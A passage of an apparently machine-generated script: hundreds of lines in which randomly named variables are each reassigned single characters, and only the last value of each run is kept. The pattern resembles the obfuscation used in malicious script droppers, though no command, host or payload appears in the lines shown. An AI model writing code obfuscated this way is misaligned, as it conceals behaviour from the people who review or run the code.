168	gcxtqup = "C";
169	gcxtqup = "V";
170	gcxtqup = "W";
171	gcxtqup = "z";
172	gcxtqup = "x";
173	gcxtqup = "f";
174	gcxtqup = "Q";
175	gcxtqup = "w";
176	gcxtqup = "T";
177	gcxtqup = "L";
178	gcxtqup = "H";
179	gcxtqup = "o";
180	gcxtqup = "F";
181	gcxtqup = "T";
182	gcxtqup = "d";
183	gcxtqup = "Z";
184	gcxtqup = "n";
185	gcxtqup = "q";
186	gcxtqup = "v";
187	gcxtqup = "s";
188	gcxtqup = "s";
189	gcxtqup = "K";
190	gcxtqup = "U";
191	gcxtqup = "N";
192	gcxtqup = "m";
193	gcxtqup = "b";
194	gcxtqup = "H";
195	gcxtqup = "b";
196	gcxtqup = "h";
197	gcxtqup = "v";
198	pnlxd = "T";
199	pnlxd = "H";
200	pnlxd = " ";
201	mcamvbc = "v";
202	mcamvbc = "X";
203	mcamvbc = "t";
204	mcamvbc = "b";
205	mcamvbc = "L";
206	mcamvbc = "r";
207	mcamvbc = "d";
208	mcamvbc = "e";
209	mcamvbc = "S";
210	mcamvbc = "E";
211	mcamvbc = "O";
212	mcamvbc = "Y";
213	mcamvbc = "T";
214	mcamvbc = "C";
215	mcamvbc = "H";
216	mcamvbc = "b";
217	mcamvbc = "z";
218	mcamvbc = "l";
219	mcamvbc = "d";
220	mcamvbc = "K";
221	mcamvbc = "W";
222	mcamvbc = "J";
223	mcamvbc = "a";
224	mcamvbc = "d";
225	mcamvbc = "E";
226	mcamvbc = "C";
227	mcamvbc = "B";
228	mcamvbc = "x";
229	mcamvbc = "a";
230	mcamvbc = "Q";
231	mcamvbc = "-";
232	hpxoqtv = "u";
233	hpxoqtv = "y";
234	hpxoqtv = "r";
235	hpxoqtv = "q";
236	hpxoqtv = "x";
237	hpxoqtv = "P";
238	hpxoqtv = "t";
239	hpxoqtv = "a";
240	hpxoqtv = "A";
241	hpxoqtv = "u";
242	hpxoqtv = "h";
243	hpxoqtv = "C";
244	hpxoqtv = "L";
245	hpxoqtv = "U";
246	hpxoqtv = "G";
247	hpxoqtv = "i";
248	hpxoqtv = "x";
249	hpxoqtv = "Z";
250	hpxoqtv = "k";
251	hpxoqtv = "L";
252	hpxoqtv = "a";
253	hpxoqtv = "d";
254	hpxoqtv = "L";
255	hpxoqtv = "m";
256	hpxoqtv = "t";
257	hpxoqtv = "W";
258	hpxoqtv = "F";
259	hpxoqtv = "m";
260	hpxoqtv = "P";
261	hpxoqtv = "W";
262	hpxoqtv = "b";
263	hpxoqtv = "n";
264	hpxoqtv = "a";
265	hpxoqtv = "l";
266	hpxoqtv = "t";
267	hpxoqtv = "S";
268	hpxoqtv = "L";
269	hpxoqtv = "l";
270	hpxoqtv = "j";
271	hpxoqtv = "Z";
272	hpxoqtv = "T";
273	cyoeytfy = "T";
274	cyoeytfy = "s";
275	cyoeytfy = "x";
276	cyoeytfy = "M";
277	cyoeytfy = "X";
278	cyoeytfy = "x";
279	cyoeytfy = "c";
280	cyoeytfy = "X";
281	cyoeytfy = "A";
282	cyoeytfy = "R";
283	cyoeytfy = "h";
284	cyoeytfy = "A";
285	cyoeytfy = "I";
286	cyoeytfy = "P";
287	cyoeytfy = "F";
288	cyoeytfy = "f";
289	cyoeytfy = "U";
290	cyoeytfy = "Y";
291	cyoeytfy = "h";
292	cyoeytfy = "p";
293	cyoeytfy = "n";
294	esngolfje = "R";
295	esngolfje = "j";
296	esngolfje = "G";
297	esngolfje = "j";
298	esngolfje = "S";
299	esngolfje = "M";
300	esngolfje = "y";
301	esngolfje = "r";
302	esngolfje = "v";
303	esngolfje = "Z";
304	esngolfje = "K";
305	esngolfje = "p";
306	esngolfje = "Y";
307	esngolfje = "Q";
308	esngolfje = "a";
309	esngolfje = "N";
310	esngolfje = "e";
311	esngolfje = "M";
312	esngolfje = "x";
313	esngolfje = "j";
314	esngolfje = "Y";
315	esngolfje = "E";
316	esngolfje = "X";
317	esngolfje = "y";
318	esngolfje = "Z";
319	esngolfje = "P";
320	esngolfje = "w";
321	esngolfje = "B";
322	esngolfje = "Q";
323	esngolfje = "f";
324	esngolfje = "M";
325	esngolfje = "R";
326	esngolfje = "H";
327	esngolfje = "U";
328	esngolfje = "S";
329	esngolfje = "e";
330	esngolfje = "K";
331	esngolfje = "w";
332	esngolfje = "F";
333	esngolfje = "Z";
334	esngolfje = "y";
335	esngolfje = "p";
336	esngolfje = "R";
337	esngolfje = "q";
338	esngolfje = "a";
339	okqayp = "y";
340	okqayp = "D";
341	okqayp = "D";
342	okqayp = "u";
343	okqayp = "B";
344	okqayp = "l";
345	okqayp = "o";
346	okqayp = "j";
347	okqayp = "Z";
348	okqayp = "a";
349	okqayp = "N";
350	okqayp = "S";
351	okqayp = "S";
352	okqayp = "u";
353	okqayp = "m";
354	okqayp = "U";
355	okqayp = "H";
356	okqayp = "z";
357	okqayp = "q";
358	okqayp = "J";
359	okqayp = "i";
360	okqayp = "z";
361	okqayp = "H";
362	okqayp = "L";
363	okqayp = "N";
364	okqayp = "R";
365	okqayp = "L";
366	okqayp = "O";
367	okqayp = "n";
368	okqayp = ":";
369	qcvbh = "l";
370	qcvbh = "R";
371	qcvbh = "U";
372	qcvbh = "C";
373	qcvbh = "M";
374	qcvbh = "u";
375	qcvbh = "w";
376	qcvbh = "j";
377	qcvbh = "c";
378	qcvbh = "x";
379	qcvbh = "i";
380	qcvbh = "e";
381	qcvbh = "w";
382	qcvbh = "K";
383	qcvbh = "N";
384	qcvbh = "X";
385	qcvbh = "O";
386	zppayhbx = "R";
387	zppayhbx = "u";
388	zppayhbx = "H";
389	zppayhbx = "x";
390	zppayhbx = "C";
391	zppayhbx = "X";
392	zppayhbx = "R";
393	zppayhbx = "a";
394	zppayhbx = "_";
395	hdfyelgho = "c";
396	hdfyelgho = "r";
397	hdfyelgho = "M";
398	hdfyelgho = "A";
399	hdfyelgho = "N";
400	hdfyelgho = "V";
401	hdfyelgho = "S";
402	hdfyelgho = "Q";
403	hdfyelgho = "f";
404	hdfyelgho = "i";
405	hdfyelgho = "l";
406	hdfyelgho = "L";
407	hdfyelgho = "I";
408	hdfyelgho = "c";
409	hdfyelgho = "C";
410	hdfyelgho = "J";
411	hdfyelgho = "q";
412	hdfyelgho = "f";
413	hdfyelgho = "w";
414	hdfyelgho = "J";
415	hdfyelgho = "I";
416	hdfyelgho = "f";
417	hdfyelgho = ".";
418	dvqocaz = "n";
419	dvqocaz = "e";
420	dvqocaz = "R";
421	dvqocaz = "q";
422	dvqocaz = "A";
423	dvqocaz = "x";
424	dvqocaz = "c";
425	dvqocaz = "M";
426	dvqocaz = "q";
427	dvqocaz = "p";
428	dvqocaz = "V";
429	dvqocaz = "b";
430	dvqocaz = "b";
431	dvqocaz = "E";
432	cptwkqog = "k";
433	cptwkqog = "P";
434	cptwkqog = "K";
435	cptwkqog = "o";
436	cptwkqog = "v";
437	cptwkqog = "U";
438	cptwkqog = "O";
439	cptwkqog = "h";
440	cptwkqog = "E";
441	cptwkqog = "K";
442	cptwkqog = "M";
443	cptwkqog = "n";
444	cptwkqog = "m";
445	cptwkqog = "J";
446	cptwkqog = "F";
447	cptwkqog = "E";
448	cptwkqog = "U";
449	cptwkqog = "L";
450	cptwkqog = "H";
451	ichdld = "G";
452	ichdld = "E";
453	ichdld = "t";
454	ichdld = "f";
455	ichdld = "l";
456	ichdld = "a";
457	ichdld = "f";
458	ichdld = "s";
459	ichdld = "P";
460	ichdld = "f";
461	ichdld = "N";
462	ichdld = "w";
463	ichdld = "Z";
464	ichdld = "F";
465	ichdld = "E";
466	ichdld = "R";
467	ichdld = "I";
468	ichdld = "I";
469	ichdld = "q";
470	ichdld = "f";
471	ichdld = "p";
472	ichdld = "o";
473	ichdld = "F";
474	ichdld = "v";
475	ichdld = "r";
476	ichdld = "o";
477	ichdld = "t";
478	ichdld = "w";
479	ichdld = "j";
480	ichdld = "z";
481	ichdld = "j";
482	ichdld = "V";
483	ichdld = "b";
484	ichdld = "b";
485	ttuqh = "n";
486	ttuqh = "I";
487	ttuqh = "i";
488	ttuqh = "M";
489	ttuqh = "r";
490	ttuqh = "y";
491	ttuqh = "J";
492	ttuqh = "h";
493	ttuqh = "S";
494	ttuqh = "l";
495	ttuqh = "Z";
496	ttuqh = "l";
497	ttuqh = "a";
498	ttuqh = "I";
499	ttuqh = "G";
500	ttuqh = "P";
501	ttuqh = "V";
502	ttuqh = "M";
503	ttuqh = "Z";
504	ttuqh = "V";
505	ttuqh = "S";
506	ttuqh = "V";
507	ttuqh = "V";
508	ttuqh = "U";
509	ttuqh = "z";
510	ttuqh = "M";
511	ttuqh = "C";
512	ttuqh = "N";
513	ttuqh = "V";
514	ttuqh = "S";
515	ttuqh = "l";
516	ttuqh = "t";
517	ttuqh = "B";
518	ttuqh = "s";
519	ttuqh = "t";
520	ttuqh = "W";
521	ttuqh = "e";
522	ttuqh = "A";
523	ttuqh = "m";
524	ttuqh = "e";
525	ttuqh = "s";
526	ttuqh = "r";
527	ttuqh = "f";
528	izlefwfyk = "W";
529	izlefwfyk = "Z";
530	izlefwfyk = "f";
531	izlefwfyk = "p";
532	izlefwfyk = "W";
533	izlefwfyk = "B";
534	izlefwfyk = "U";
535	izlefwfyk = "F";
536	izlefwfyk = "u";
537	izlefwfyk = "k";
538	izlefwfyk = "F";
539	izlefwfyk = "L";
540	izlefwfyk = "d";
541	izlefwfyk = "O";
542	izlefwfyk = "T";
543	izlefwfyk = "S";
544	izlefwfyk = "l";
545	izlefwfyk = "R";
546	izlefwfyk = "A";
547	izlefwfyk = "o";
548	izlefwfyk = "L";
549	izlefwfyk = "l";
550	izlefwfyk = "X";
551	izlefwfyk = "W";
552	izlefwfyk = "G";
553	izlefwfyk = "w";
554	izlefwfyk = "%";
555	mmbrpr = "W";
556	mmbrpr = "r";
557	mmbrpr = "c";
558	mmbrpr = "F";
559	mmbrpr = "S";
560	mmbrpr = "D";
561	mmbrpr = "p";
562	mmbrpr = "G";
563	mmbrpr = "g";
564	mmbrpr = "E";
565	mmbrpr = "X";
566	mmbrpr = "F";
567	mmbrpr = "f";
568	mmbrpr = "A";
569	mmbrpr = "b";
570	mmbrpr = "K";
571	mmbrpr = "h";
572	bobaji = "X";
573	bobaji = "O";
574	bobaji = "z";
575	bobaji = "l";
576	bobaji = "W";
577	bobaji = "L";
578	bobaji = "z";
579	bobaji = "m";
580	bobaji = "I";
581	bobaji = "b";
582	bobaji = "J";
583	bobaji = "i";
584	bobaji = "x";
585	bobaji = "U";
586	bobaji = "H";
587	bobaji = "e";
588	fzbcinf = "j";
589	fzbcinf = "m";
590	fzbcinf = "L";
591	fzbcinf = "y";
592	fzbcinf = "d";
593	fzbcinf = "g";
594	fzbcinf = "C";
595	fzbcinf = "V";
596	fzbcinf = "D";
597	fzbcinf = "Z";
598	fzbcinf = "u";
599	fzbcinf = "G";
600	fzbcinf = "P";
601	fzbcinf = "A";
602	fzbcinf = "Q";
603	fzbcinf = "W";
604	fzbcinf = "O";
605	fzbcinf = "V";
606	fzbcinf = "g";
607	fzbcinf = "U";
608	fzbcinf = "f";
609	fzbcinf = "o";
610	fzbcinf = "k";
611	fzbcinf = "e";
612	fzbcinf = "E";
613	fzbcinf = "o";
614	fzbcinf = "p";
615	fzbcinf = "R";
616	fzbcinf = "W";
617	fzbcinf = "z";
618	fzbcinf = "Q";
619	fzbcinf = "F";
620	fzbcinf = "E";
621	fzbcinf = "w";
622	fzbcinf = "u";
623	fzbcinf = "p";
624	fzbcinf = "k";
625	fzbcinf = "J";
626	fzbcinf = "R";
627	fzbcinf = "J";
628	fzbcinf = "\\";
629	wcdperee = "j";
630	wcdperee = "s";
631	wcdperee = "Z";
632	wcdperee = "r";
633	wcdperee = "w";
634	wcdperee = "W";
635	cmdgvvia = "P";
636	cmdgvvia = "m";
637	cmdgvvia = "Q";
638	cmdgvvia = "C";
639	cmdgvvia = "R";
640	cmdgvvia = "W";
641	cmdgvvia = "N";
642	cmdgvvia = "s";
643	cmdgvvia = "X";
644	cmdgvvia = "d";
645	cmdgvvia = "j";
646	cmdgvvia = "o";
647	cmdgvvia = "A";
648	cmdgvvia = "Z";
649	cmdgvvia = "P";
650	cmdgvvia = "m";
651	cmdgvvia = "d";
652	cmdgvvia = "p";
653	cmdgvvia = "4";
654	jrhkxgc = "F";
655	jrhkxgc = "z";
656	jrhkxgc = "Y";
657	jrhkxgc = "m";
658	jrhkxgc = "F";
659	jrhkxgc = "R";
660	jrhkxgc = "M";
661	jrhkxgc = "s";
662	jrhkxgc = "b";
663	jrhkxgc = "u";
664	jrhkxgc = "K";
665	jrhkxgc = "e";
666	jrhkxgc = "A";
667	jrhkxgc = "y";
668	jrhkxgc = "I";
669	jrhkxgc = "l";
670	jrhkxgc = "k";
671	jrhkxgc = "P";
672	jrhkxgc = "G";
673	jrhkxgc = "X";
674	jrhkxgc = "E";
675	jrhkxgc = "j";
676	jrhkxgc = "o";
677	jrhkxgc = "J";
678	jrhkxgc = "G";
679	jrhkxgc = "F";
680	jrhkxgc = "w";
681	jrhkxgc = "B";
682	jrhkxgc = "c";
683	jrhkxgc = "f";
684	jrhkxgc = "y";
685	jrhkxgc = "Z";
686	jrhkxgc = "B";
687	jrhkxgc = "Q";
688	jrhkxgc = "n";
689	jrhkxgc = "m";
690	jrhkxgc = "u";
691	wdpkjr = "N";
692	wdpkjr = "o";
693	wdpkjr = "s";
694	wdpkjr = "Z";
695	wdpkjr = "I";
696	wdpkjr = "2";
697	ferqh = "A";
698	ferqh = "C";
699	latjxxw = "m";
700	latjxxw = "z";
701	latjxxw = "p";
702	latjxxw = "U";
703	latjxxw = "i";
704	latjxxw = "U";
705	latjxxw = "b";
706	latjxxw = "J";
707	latjxxw = "b";
708	latjxxw = "t";
709	latjxxw = "B";
710	latjxxw = "D";
711	latjxxw = "b";
712	latjxxw = "a";
713	latjxxw = "s";
714	latjxxw = "n";
715	latjxxw = "a";
716	latjxxw = "X";
717	latjxxw = "Z";
718	latjxxw = "N";
719	latjxxw = "u";
720	latjxxw = "x";
721	latjxxw = "d";
722	latjxxw = "P";
723	latjxxw = "E";
724	latjxxw = "b";
725	latjxxw = "z";
726	latjxxw = "x";
727	latjxxw = "W";
728	latjxxw = "v";
729	latjxxw = "i";
730	latjxxw = "P";
731	latjxxw = "L";
732	latjxxw = "f";
733	latjxxw = "c";
734	avfwerb = "m";
735	avfwerb = "Y";
736	avfwerb = "m";
737	avfwerb = "w";
738	avfwerb = "d";
739	avfwerb = "Y";
740	avfwerb = "C";
741	avfwerb = "I";
742	avfwerb = "m";
743	avfwerb = "O";
744	avfwerb = "g";
745	xthasu = "N";
746	xthasu = "R";
747	xthasu = "b";
748	xthasu = "F";
749	fqfuvztda = "E";
750	fqfuvztda = "N";
751	fqfuvztda = "E";
752	fqfuvztda = "a";
753	fqfuvztda = "f";
754	fqfuvztda = "F";
755	fqfuvztda = "l";
756	fqfuvztda = "J";
757	fqfuvztda = "i";
758	fqfuvztda = "u";
759	fqfuvztda = "R";
760	fqfuvztda = "A";
761	fqfuvztda = "K";
762	fqfuvztda = "c";
763	fqfuvztda = "q";
764	fqfuvztda = "U";
765	fqfuvztda = "D";
766	fqfuvztda = "G";
767	fqfuvztda = "b";
768	fqfuvztda = "Y";
769	fqfuvztda = "m";
770	fqfuvztda = "E";
771	fqfuvztda = "y";
772	fqfuvztda = "J";
773	fqfuvztda = "p";
774	fqfuvztda = "K";
775	grygqrbht = "G";
776	grygqrbht = "w";
777	grygqrbht = "T";
778	grygqrbht = "R";
779	grygqrbht = "B";
780	grygqrbht = "a";
781	grygqrbht = "o";
782	grygqrbht = "I";
783	grygqrbht = "h";
784	grygqrbht = "s";
785	grygqrbht = "d";
786	grygqrbht = "G";
787	grygqrbht = "b";
788	grygqrbht = "T";
789	grygqrbht = "J";
790	grygqrbht = "n";
791	grygqrbht = "I";
792	grygqrbht = "X";
793	grygqrbht = "C";
794	grygqrbht = "V";
795	grygqrbht = "k";
796	grygqrbht = "c";
797	grygqrbht = "D";
798	grygqrbht = "U";
799	grygqrbht = "L";
800	grygqrbht = "f";
801	grygqrbht = "M";
802	grygqrbht = "y";
803	grygqrbht = "g";
804	grygqrbht = "U";
805	grygqrbht = "d";
806	grygqrbht = "x";
807	ktmau = "o";
808	ktmau = "D";
809	ktmau = "Y";
810	ktmau = "D";
811	ktmau = "u";
812	ktmau = "g";
813	ktmau = "i";
814	ktmau = "M";
815	ktmau = "y";
816	ktmau = "I";
817	oyetj = "F";
818	oyetj = "W";
819	oyetj = "H";
820	oyetj = "j";
821	oyetj = "I";
822	oyetj = "B";
823	oyetj = "Q";
824	oyetj = "h";
825	oyetj = "s";
826	oyetj = "N";
827	oyetj = "H";
828	oyetj = "o";
829	oyetj = "e";
830	oyetj = "f";
831	oyetj = "w";
832	oyetj = "j";
833	oyetj = "i";
834	oyetj = "f";
835	oyetj = "V";
836	oyetj = "T";
837	oyetj = "A";
838	oyetj = "t";
839	oyetj = "J";
840	oyetj = "I";
841	oyetj = "g";
842	oyetj = "p";
843	oyetj = "u";
844	oyetj = "e";
845	oyetj = "b";
846	oyetj = "l";
847	oyetj = "E";
848	oyetj = "F";
849	oyetj = "R";
850	oyetj = "Y";
851	oyetj = "v";
852	oyetj = "m";
853	oyetj = "n";
854	oyetj = "n";
855	oyetj = "R";
856	oyetj = "a";
857	oyetj = "a";
858	oyetj = "t";
859	oyetj = "H";
860	oyetj = "r";
861	oyetj = "7";
862	yuqsataam = "f";
863	yuqsataam = "E";
864	yuqsataam = "Z";
865	yuqsataam = "M";
866	yuqsataam = "Q";
867	yuqsataam = "O";
868	yuqsataam = "r";
869	yuqsataam = "u";
870	yuqsataam = "V";
871	yuqsataam = "t";
872	yuqsataam = "X";
873	yuqsataam = "H";
874	yuqsataam = "E";
875	yuqsataam = "L";
876	yuqsataam = "w";
877	yuqsataam = "z";
878	yuqsataam = "p";
879	yuqsataam = "Y";
880	yuqsataam = "Y";
881	yuqsataam = "D";
882	yuqsataam = "@";
883	kfqtmp = "Q";
884	kfqtmp = "I";
885	kfqtmp = "J";
886	kfqtmp = "n";
887	kfqtmp = "d";
888	kfqtmp = "w";
889	kfqtmp = "f";
890	kfqtmp = "H";
891	kfqtmp = "H";
892	kfqtmp = "Q";
893	kfqtmp = "t";
894	kfqtmp = "O";
895	kfqtmp = "H";
896	kfqtmp = "R";
897	kfqtmp = "b";
898	kfqtmp = "r";
899	kfqtmp = "T";
900	kfqtmp = "i";
901	kfqtmp = "K";
902	kfqtmp = "Q";
903	kfqtmp = "u";
904	kfqtmp = "f";
905	kfqtmp = "S";
906	kfqtmp = "w";
907	kfqtmp = "w";
908	kfqtmp = "v";
909	kfqtmp = "U";
910	kfqtmp = "U";
911	kfqtmp = "X";
912	kfqtmp = "A";
913	kfqtmp = "k";
914	usjbiury = "R";
915	usjbiury = "v";
916	usjbiury = "l";
917	usjbiury = "j";
918	usjbiury = "t";
919	usjbiury = "Y";
920	usjbiury = "O";
921	usjbiury = "H";
922	usjbiury = "I";
923	usjbiury = "u";
924	usjbiury = "A";
925	usjbiury = "k";
926	usjbiury = "M";
927	usjbiury = "n";
928	usjbiury = "k";
929	usjbiury = "l";
930	usjbiury = "R";
931	usjbiury = "P";
932	usjbiury = "F";
933	usjbiury = "t";
934	usjbiury = "V";
935	usjbiury = "L";
936	usjbiury = "z";
937	usjbiury = "L";
938	usjbiury = "J";
939	usjbiury = "t";
940	qqvjzrr = "e";
941	qqvjzrr = "J";
942	qqvjzrr = "N";
943	qqvjzrr = "O";
944	qqvjzrr = "v";
945	qqvjzrr = "W";
946	qqvjzrr = "D";
947	qqvjzrr = "v";
948	qqvjzrr = "V";
949	qqvjzrr = "K";
950	qqvjzrr = "c";
951	qqvjzrr = "D";
952	qqvjzrr = "w";
953	qqvjzrr = "y";
954	qqvjzrr = "D";
955	qqvjzrr = "e";
956	qqvjzrr = "S";
957	qqvjzrr = "b";
958	qqvjzrr = "d";
959	qqvjzrr = "m";
960	qqvjzrr = "x";
961	qqvjzrr = "r";
962	qqvjzrr = "W";
963	qqvjzrr = "L";
964	nzburo = "x";
965	nzburo = "l";
966	nzburo = "C";
967	nzburo = "j";
968	nzburo = "k";
969	nzburo = "y";
970	nzburo = "w";
971	nzburo = "o";
972	nzburo = "u";
973	nzburo = "A";
974	nzburo = "t";
975	nzburo = "U";
976	erqyeq = "s";
977	erqyeq = "b";
978	erqyeq = "r";
979	erqyeq = "w";
980	erqyeq = "w";
981	erqyeq = "R";
982	erqyeq = "y";
983	erqyeq = "M";
984	erqyeq = "t";
985	erqyeq = "N";
986	erqyeq = "c";
987	erqyeq = "M";
988	erqyeq = "Y";
989	erqyeq = "s";
990	erqyeq = "Y";
991	erqyeq = "Y";
992	erqyeq = "c";
993	erqyeq = "p";
994	erqyeq = "S";
995	erqyeq = "Y";
996	erqyeq = "R";
997	puxzb = "l";
998	puxzb = "b";
999	puxzb = "i";
1000	puxzb = "l";
1001	puxzb = "O";
1002	puxzb = "q";
1003	puxzb = "I";
1004	puxzb = "i";
1005	puxzb = "u";
1006	puxzb = "o";
1007	puxzb = "Y";
1008	puxzb = "n";
1009	puxzb = "d";
1010	puxzb = "n";
1011	puxzb = "G";
1012	puxzb = "t";
1013	puxzb = "q";
1014	puxzb = "y";
1015	puxzb = "Y";
1016	puxzb = "l";
1017	qkuborffo = "h";
1018	qkuborffo = "a";
1019	qkuborffo = "j";
1020	qkuborffo = "e";
1021	qkuborffo = "L";
1022	qkuborffo = "K";
1023	qkuborffo = "L";
1024	qkuborffo = "Q";
1025	qkuborffo = "X";
1026	qkuborffo = "r";
1027	qkuborffo = "E";
1028	qkuborffo = "j";
1029	qkuborffo = "P";
1030	qkuborffo = "Z";
1031	qkuborffo = "H";
1032	qkuborffo = "y";
1033	qkuborffo = "B";
1034	qkuborffo = "H";
1035	qkuborffo = "Y";
1036	qkuborffo = "p";
1037	qkuborffo = "R";
1038	qkuborffo = "n";
1039	qkuborffo = "p";
1040	qkuborffo = "R";
1041	qkuborffo = "M";
1042	qkuborffo = "C";
1043	qkuborffo = "c";
1044	qkuborffo = "Q";
1045	qkuborffo = "N";
1046	qkuborffo = "q";
1047	qkuborffo = "T";
1048	qkuborffo = "S";
1049	amofhj = "W";
1050	amofhj = "U";
1051	amofhj = "C";
1052	amofhj = "M";
1053	amofhj = "K";
1054	amofhj = "L";
1055	amofhj = "H";
1056	amofhj = "v";
1057	amofhj = "K";
1058	amofhj = "B";
1059	amofhj = "H";
1060	amofhj = "P";
1061	amofhj = "W";
1062	amofhj = "H";
1063	amofhj = "r";
1064	amofhj = "l";
1065	amofhj = "G";
1066	amofhj = "o";
1067	amofhj = "Q";
1068	amofhj = "Q";
1069	amofhj = "m";
1070	amofhj = "Z";
1071	amofhj = "u";
1072	amofhj = "B";
1073	amofhj = "n";
1074	amofhj = "h";
1075	amofhj = "f";
1076	amofhj = "w";
1077	amofhj = "p";
1078	amofhj = "T";
1079	amofhj = "c";
1080	amofhj = "J";
1081	amofhj = "n";
1082	amofhj = "v";
1083	amofhj = "P";
1084	amofhj = "P";
1085	amofhj = "s";
1086	amofhj = "B";
1087	amofhj = "f";
1088	amofhj = "I";
1089	amofhj = "I";
1090	amofhj = "d";
1091	amofhj = "H";
1092	amofhj = "N";
1093	aqybubfd = "W";
1094	aqybubfd = "V";
1095	aqybubfd = "G";
1096	aqybubfd = "p";
1097	aqybubfd = "y";
1098	aqybubfd = "z";
1099	aqybubfd = "c";
1100	aqybubfd = "D";
1101	aqybubfd = "T";
1102	aqybubfd = "Q";
1103	aqybubfd = "V";
1104	aqybubfd = "s";
1105	aqybubfd = "B";
1106	aqybubfd = "I";
1107	aqybubfd = "q";
1108	aqybubfd = "Z";
1109	aqybubfd = "G";
1110	aqybubfd = "e";
1111	aqybubfd = "P";
1112	aqybubfd = "J";
1113	aqybubfd = "Y";
1114	aqybubfd = "v";
1115	aqybubfd = "a";
1116	aqybubfd = "Y";
1117	kpcwtq = "O";
1118	kpcwtq = "d";
1119	kpcwtq = "k";
1120	kpcwtq = "y";
1121	kpcwtq = "V";
1122	kpcwtq = "J";
1123	kpcwtq = "c";
1124	kpcwtq = "n";
1125	kpcwtq = "u";
1126	kpcwtq = "Y";
1127	kpcwtq = "P";
1128	kpemswpix = "C";
1129	kpemswpix = "f";
1130	kpemswpix = "c";
1131	kpemswpix = "v";
1132	kpemswpix = "O";
1133	kpemswpix = "S";
1134	kpemswpix = "y";
1135	kpemswpix = "j";
1136	kpemswpix = "b";
1137	kpemswpix = "A";
1138	kpemswpix = "s";
1139	kpemswpix = "i";
1140	kpemswpix = "J";
1141	kpemswpix = "l";
1142	kpemswpix = "C";
1143	kpemswpix = "X";
1144	kpemswpix = "F";
1145	kpemswpix = "x";
1146	kpemswpix = "Q";
1147	xcvrwvcln = "s";
1148	xcvrwvcln = "q";
1149	xcvrwvcln = "r";
1150	xcvrwvcln = "j";
1151	xcvrwvcln = "j";
1152	xcvrwvcln = "x";
1153	xcvrwvcln = "y";
1154	xcvrwvcln = "o";
1155	ckhohhwq = "T";
1156	ckhohhwq = "Q";
1157	ckhohhwq = "J";
1158	ckhohhwq = "B";
1159	ckhohhwq = "h";
1160	ckhohhwq = "m";
1161	ckhohhwq = "w";
1162	ckhohhwq = "W";
1163	ckhohhwq = "D";
1164	ckhohhwq = "E";
1165	ckhohhwq = "u";
1166	ckhohhwq = "K";
1167	ckhohhwq = "P";
1168	ckhohhwq = "k";
1169	ckhohhwq = "K";
1170	ckhohhwq = "j";
1171	ckhohhwq = "m";
1172	ckhohhwq = "s";
1173	ckhohhwq = "a";
1174	ckhohhwq = "Q";
1175	ckhohhwq = "U";
1176	ckhohhwq = "d";
1177	ckhohhwq = "0";
1178	tdsysgnp = "O";
1179	tdsysgnp = "D";
1180	tdsysgnp = "m";
1181	tdsysgnp = "s";
1182	tdsysgnp = "x";
1183	tdsysgnp = "h";
1184	tdsysgnp = "o";
1185	tdsysgnp = "a";
1186	tdsysgnp = "k";
1187	tdsysgnp = "r";
1188	tdsysgnp = "J";
1189	tdsysgnp = "O";
1190	tdsysgnp = "w";
1191	tdsysgnp = "R";
1192	tdsysgnp = "m";
1193	tdsysgnp = "p";
1194	tdsysgnp = "Y";
1195	tdsysgnp = "Z";
1196	tdsysgnp = "K";
1197	tdsysgnp = "u";
1198	tdsysgnp = "C";
1199	tdsysgnp = "u";
1200	tdsysgnp = "A";
1201	tdsysgnp = "j";
1202	kzgvg = "Z";
1203	kzgvg = "b";
1204	kzgvg = "h";
1205	kzgvg = "q";
1206	kzgvg = "H";
1207	kzgvg = "Q";
1208	kzgvg = "T";
1209	kzgvg = "U";
1210	kzgvg = "f";
1211	kzgvg = "O";
1212	kzgvg = "p";
1213	szxke = "E";
1214	szxke = "L";
1215	szxke = "E";
1216	szxke = "b";
1217	szxke = "E";
1218	szxke = "m";
1219	szxke = "m";
1220	szxke = "W";
1221	szxke = "Q";
1222	szxke = "H";
1223	szxke = "m";
1224	szxke = "g";
1225	szxke = "D";
1226	szxke = "T";
1227	szxke = "S";
1228	szxke = "D";
1229	szxke = "a";
1230	szxke = "Y";
1231	szxke = "L";
1232	szxke = "P";
1233	szxke = "p";
1234	szxke = "G";
1235	szxke = "b";
1236	szxke = "w";
1237	szxke = "r";
1238	szxke = "y";
1239	szxke = "Z";
1240	szxke = "J";
1241	szxke = "a";
1242	szxke = "q";
1243	feljk = "h";
1244	feljk = "b";
1245	feljk = "r";
1246	feljk = "e";
1247	feljk = "i";
1248	feljk = "Y";
1249	feljk = "d";
1250	feljk = "f";
1251	feljk = "n";
1252	feljk = "I";
1253	feljk = "L";
1254	feljk = "J";
1255	feljk = "Z";
1256	feljk = "P";
1257	feljk = "h";
1258	feljk = "X";
1259	feljk = "P";
1260	feljk = "u";
1261	feljk = "e";
1262	feljk = "s";
1263	feljk = "Z";
1264	feljk = "j";
1265	feljk = "m";
1266	feljk = "N";
1267	feljk = "b";
1268	feljk = "S";
1269	feljk = "B";
1270	feljk = "g";
1271	feljk = "N";
1272	feljk = "w";
1273	feljk = "s";
1274	ubjzidh = "C";
1275	ubjzidh = "v";
1276	ubjzidh = "X";
1277	ubjzidh = "l";
1278	ubjzidh = "w";
1279	iqernx = "L";
1280	iqernx = "k";
1281	iqernx = "x";
1282	iqernx = "8";
1283	vpnszk = "i";
1284	vpnszk = "k";
1285	vpnszk = "M";
1286	vpnszk = "g";
1287	vpnszk = "Q";
1288	vpnszk = "v";
1289	vpnszk = "B";
1290	vpnszk = "C";
1291	vpnszk = "j";
1292	vpnszk = "l";
1293	vpnszk = "E";
1294	vpnszk = "S";
1295	vpnszk = "9";
1296	uvocmar = "n";
1297	uvocmar = "w";
1298	uvocmar = "F";
1299	uvocmar = "e";
1300	uvocmar = "A";
1301	uvocmar = "h";
1302	uvocmar = "O";
1303	uvocmar = "f";
1304	uvocmar = "y";
1305	uvocmar = "i";
1306	uvocmar = "Z";
1307	uvocmar = "O";
1308	uvocmar = "q";
1309	uvocmar = "i";
1310	uvocmar = "z";
1311	uvocmar = "q";
1312	uvocmar = "t";
1313	uvocmar = "J";
1314	uvocmar = "I";
1315	uvocmar = "n";
1316	uvocmar = "d";
1317	jiccfksfb = "B";
1318	jiccfksfb = "z";
1319	jiccfksfb = "L";
1320	jiccfksfb = "C";
1321	jiccfksfb = "K";
1322	jiccfksfb = "Z";
1323	jiccfksfb = "w";
1324	jiccfksfb = "S";
1325	jiccfksfb = "c";
1326	jiccfksfb = "G";
1327	jiccfksfb = "E";
1328	jiccfksfb = "F";
1329	jiccfksfb = "X";
1330	jiccfksfb = "y";
1331	jiccfksfb = "D";
1332	jiccfksfb = "I";
1333	jiccfksfb = "l";
